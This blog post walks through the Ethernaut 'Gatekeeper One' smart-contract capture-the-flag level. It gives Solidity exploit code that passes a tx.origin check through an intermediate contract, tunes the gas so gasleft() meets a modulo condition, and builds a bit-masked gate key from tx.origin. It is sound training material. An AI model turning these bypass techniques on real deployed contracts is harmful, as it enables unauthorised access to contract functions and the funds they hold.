← Back to list

CTF walkthrough, Ethernaut, #14 Gatekeeper One

To solve this challenge we must register as an entrant.

Vasiliy Yorkin · 2022-08-04 09:24 · 24 claps · 2.7 min read
#ethereum #solidity #web3 #ethernaut #blockchain
Open on Medium ↗
Wiki topics: CRY · Crypto & Web3

CTF walkthrough, Ethernaut, #14 Gatekeeper One

To solve this challenge we must register as an entrant.

[embed]

Analysis & Exploit

function enter(bytes8 _gateKey)
    public
    gateOne
    gateTwo
    gateThree(_gateKey)
    returns (bool)
{
    entrant = tx.origin;
    return true;
}

The enter function has 3 modifiers that perform some checks. The first two modifiers don't take any parameters and the last one expects the bytes8 _gateKey. On success, it assigns tx.origin to entrant and returns true.

For simplicity, I’m going to use console2 from the forge-std and add a few console2.log 's in order to understand through which gates we've passed (we could use a debugger as well):

import "forge-std/console2.sol";
...
modifier gateOne() {
    ...
    console2.log("gate 1");
    _;
}
modifier gateTwo() {
    ...
    console2.log("gate 2");
    _;
}
modifier gateThree() {
    ...
    console2.log("gate 3");
    _;
}

Now, let’s explore these modifiers.

gateOne

modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
}

We’ve already seen this check in the Telephone level. To bypass it we’ll use an intermediate contract:

contract GatekeeperOneExploit {
    GatekeeperOne private immutable level;

    constructor(GatekeeperOne _level) {
        level = _level;
    }

    function run() public {
        level.enter(bytes8(0x0));
    }
}

gateTwo

The next one is a bit trickier:

modifier gateTwo() {
    require(gasleft() % 8191 == 0);
    _;
}

To pass through this gate we must satisfy the condition: require(gasleft() % 8191 == 0).

The % is a modulo operator, which yields a remainder after a division. From the Solidity docs we know that gasleft() returns how much gas is left for the currently running function.

The function gasleft was previously known as msg.gas, which was deprecated in version0.4.21 and removed in version 0.5.0.

Before Solidity 0.6.2, the recommended way to specify the value and gas was to use f.value(x).gas(g)(). This was deprecated in Solidity 0.6.2 and is no longer possible since Solidity 0.7.0.

Solidity allows us to specify precisely how much gas we want to use for a specific function. We want to give such an amount of gas to the enter function so that gasleft() % 8191 == 0 expression evaluates to true. Let's try to calculate how much gas it spends just before the call to require:

modifier gateTwo() {
    console2.log(gasleft());
    require(gasleft() % 8191 == 0);
    console2.log("gate 2");
    _;
}

For example, let’s give it 100000 gas:

level.enter{gas: 100000}(bytes8(0x0));

And have a look at the trace:

Running 1 test for src/test/GatekeeperOne.t.sol:GatekeeperOneTest [FAIL. Reason: Revert] testGatekeeperOne() (gas: 450050)
Logs:
  gate 1
  96580

Hm, 96580, let’s see:

Gas_left = Gas_initial − Gas_spent
Gas_spent = 100000 − 96580 = 3420
Gas_left = Gas_initial − 3420

To satisfy Gas_left mod 8191 = 0 we must give it exactly 8191 + Gas_spent = 8191 + 3420 = 11611. Obviously, this amount of gas is not enough, so let’s add a little more: 3420 + 8191 × 100 = 822520. The console2.log(gasleft()) takes 330 gas itself, so we need to remove it from the gateTwo() function, since we don't need it anymore. Thus we passed through the 2nd gate!

gateThree

The following 3 conditions must be satisfied:

uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))
uint32(uint64(_gateKey)) != uint64(_gateKey)
uint32(uint64(_gateKey)) == uint16(uint160(tx.origin))

To get through the last one we must have a good understanding of implicit and explicit type conversion rules and bitwise operations in Solidity.

Basically, there are 4 things we need to know:

  • If an operator is applied to different types, the compiler tries to implicitly convert one of the operands to the type of the other without loosing information. So generally it converts to a larger type.
  • Converting a smaller integer to a larger type will pad it on the left.
  • Converting fixed-size bytes types to a smaller type will cut off the sequence.
  • Bit masking.

Here is an example key:

function run() public {
    bytes8 tail = bytes8(uint64(uint16(uint160(tx.origin))));
    bytes8 head = bytes2(0xffff);
    bytes8 key = bytes8(head | tail);
    level.enter{gas: 11611 + 8191*100}(key);
}

References

The complete code is here. Thank you for reading. This post was a bit rushed 🙃. I hope I can get back to it later and explain typecasting and bit manipulation magic in the gateThree. But now let’s move on to the next challenge: CTF walkthrough, Ethernaut, #15 Gatekeeper Two!

Originally published at https://vyorkin.org on August 4, 2022.


메타데이터
post_id
be74cb3555c4
slug
ctf-walkthrough-ethernaut-14-gatekeeper-one-be74cb3555c4
url
https://medium.com/@vyorkin/ctf-walkthrough-ethernaut-14-gatekeeper-one-be74cb3555c4
canonical_url
https://medium.com/@vyorkin/ctf-walkthrough-ethernaut-14-gatekeeper-one-be74cb3555c4
author_url
https://medium.com/@vyorkin
status
ok
fetched_at
2026-07-26 19:34:20